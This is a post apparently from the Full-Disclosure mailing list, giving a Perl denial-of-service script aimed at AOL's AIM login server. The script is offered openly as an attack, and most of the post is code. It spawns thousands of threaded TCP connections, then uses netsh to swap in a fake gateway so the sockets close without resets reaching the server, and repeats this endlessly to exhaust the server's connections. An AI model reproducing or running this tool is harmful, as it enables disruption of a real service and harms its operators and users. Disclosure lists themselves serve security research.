DOS AOL AIM via perl

["Cyber Flash" <cyber_flash () hotmail com>]

Create many ESTABLISHED connections (60,000) to login.oscar.aol.com server
and then temporarily disable the local client gateway, close the sockets
(the RST packets aren’t sent to AOL), reopen the gateway and repeat this process.

Anyone have ideas on the pros/cons of using this technique?

# Client -> Server [SYN]
# Server -> Client [SYN, ACK]
# Client -> Server [ACK]
# Server -> Client 10 bytes (conn_ack)
# Client -> Server 10 bytes (conn_ack)
# Server -> Client [ACK]

use IO::Socket;
use Thread;
use Win32::OLE qw(in);

# --- SCRIPT CONFIGURATION ---
my $host="login.oscar.aol.com";
my $port=80;

# --- END CONFIGURATION ---
my $ip="";
my $gateway="";
my $fake_gateway="1.1.1.1";
my $mask="";
my $adpater="";
my $alive=0;

$object=Win32::OLE->GetObject('winmgmts:{impersonationLevel=impersonate}!//.');
foreach my $nic(in$object->InstancesOf('Win32_NetworkAdapterConfiguration')){
   next unless $nic->{IPEnabled};
   $ip=@{$nic->{IPAddress}}[0];
   $gateway=@{$nic->{DefaultIPGateway}}[0];
   $mask=@{$nic->{IPSubnet}}[0];
   print "IPv4 Address: $ip\nDefault Gateway: $gateway\nSubnet Mask: $mask\n";
   last;
}

$objWMI = Win32::OLE->GetObject("winmgmts://./root/cimv2");
$colNAs = $objWMI->InstancesOf('Win32_NetworkAdapter');
foreach my $objNA (in $colNAs){
   next unless $objNA->{NetEnabled};
   $adapter=$objNA->NetConnectionID;
   print "Ethernet Adapter: $adapter\n";
   last;
}

while (1) {
   for ($n=0;$n<=3000;$n++){
      $thr=new Thread\&connect;
      $thr->detach;
      $t++;
      print "Connection: $t\n";
      select(undef, undef, undef, 0.25);
   }
   print "\nDisabling Gateway...\n";
   system("netsh interface ip set address name=\"$adapter\" static $ip $mask $fake_gateway 1");
   $alive=1;
   sleep 3;
   print "\nEnabling Gateway....\n";
   system("netsh interface ip set address name=\"$adapter\" static $ip $mask $gateway 1");
   $alive=0;
}

sub connect{
  my $socket = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);
  $socket->recv($data,10);
  $socket->send($data);
  while ($alive==0) {sleep 1;}
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/